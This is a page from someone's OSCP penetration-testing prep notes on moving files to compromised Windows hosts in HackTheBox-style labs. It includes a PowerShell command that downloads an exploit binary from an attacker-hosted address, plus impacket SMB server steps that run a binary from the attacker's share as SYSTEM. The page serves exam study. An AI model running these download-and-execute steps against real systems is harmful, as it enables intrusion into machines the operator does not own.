✍️
OSCP Prep
  • Welcome Aboard
  • Linux Basics
    • Command Line Fundamentals
  • Writeups
    • HackTheBox
      • Windows
        • Granny
        • Devel
        • Blue
        • Legacy
      • Linux
        • shocker
    • OSPG
    • TryHackMe
    • Vulnhub
      • Kioptrix Level1
  • Scanning and Enumeration
    • Index
    • Wordpress
      • wpscan
    • NMAP
    • DNS
    • NFS
    • DB
      • Oracle DB 1521
      • MySQL
    • SMB
      • msfconsole
      • crackmapexec
      • smbmap
      • smbclient
      • enum4linux
      • Mount smb share locally
    • SSH
    • HTTP
      • PUT Method
      • Untitled
  • Tools and Techniques
    • File Transfer
    • CMD-Fu
    • Cross Platform Exploit Compilation
    • Bash-Fu
    • Sniffing
      • tcpdump
      • Wireshark
    • Brute Force
      • Untitled
      • Hydra
    • Msfvenom
    • Password Cracking
      • John
      • Hashcat
  • Gaining Access and Exploitation
  • SQL Injection
    • sqlmap
    • mysql syntax
    • ms sql syntax
  • File Upload
  • LFI
  • Privilege Escalation
    • Windows
      • references links
      • Manual
        • SeTokenImpersonate
      • Scripts
    • Linux
      • Manual
        • Know your Enemy
      • Scripts
  • Mislu Tips
    • Troubleshooting
  • Buffer OverFlow under 30 min.
    • point n shoot
    • fuzzer.py
    • Addons reading material
  • Active Directory
    • Untitled
Powered by GitBook
On this page
  • Start SMB Server and Move Whoami to TEMP
  • Verify if SMB Server is Running

Was this helpful?

  1. Tools and Techniques

File Transfer

PreviousUntitledNextCMD-Fu

Last updated 3 years ago

Was this helpful?

Powershell

powershell -c "(new-object System.Net.WebClient).DownloadFile(', 'c:\Users\Public\Downloads\40564.exe')"

SMB

---------------------------------------------x-x-x-x-x-x-x-x-x-x-------------------------------------------------------------------------- Running whoami using smb ---------------------------------------------x-x-x-x-x-x-x-x-x-x-------------------------------------------------------------------------- on kali machine locate whoami will get this /usr/share/windows-resources/binaries/whoami.exe locate smbserver /usr/lib/python2.7/dist-packages/impacket/smbserver.py running a smbserver on kali machine and putting whoami.exe into /temp share

Start SMB Server and Move Whoami to TEMP

root@kali:~/MS17–010# sudo /usr/share/doc/python-impacket/examples/smbserver.py temp /usr/share/windows-binaries/

Verify if SMB Server is Running

root@kali:~/MS17–010# smbclient // C:\WINDOWS\system32>\\$kaliiphere\temp\whoami.exe \\10.10.14.4\temp\whoami.exe NT AUTHORITY\SYSTEM ---------------------------------------------x-x-x-x-x-x-x-x-x-x-------------------------------------------------------------------------- run smbserver from orignial dir only net view \\ip to list avaialble share names dir \\ip\shark to list contents of specific share copy \\ip\shark\filename newfilename to copy file from linux to windows python /usr/share/doc/python-impacket/examples/smbserver.py share-name root-dir-path net view \\ip-addr dir \\ip-addr\share-name copy \\ip-addr\share-name\file out-file Addons

http://10.10.14.30:9005/40564.exe'
10.10.14.4/temp
https://www.ired.team/offensive-security/defense-evasion/downloading-file-with-certutil
https://medium.com/@PenTest_duck/almost-all-the-ways-to-file-transfer-1bd6bf710d65
https://academy.hackthebox.eu/course/preview/file-transfers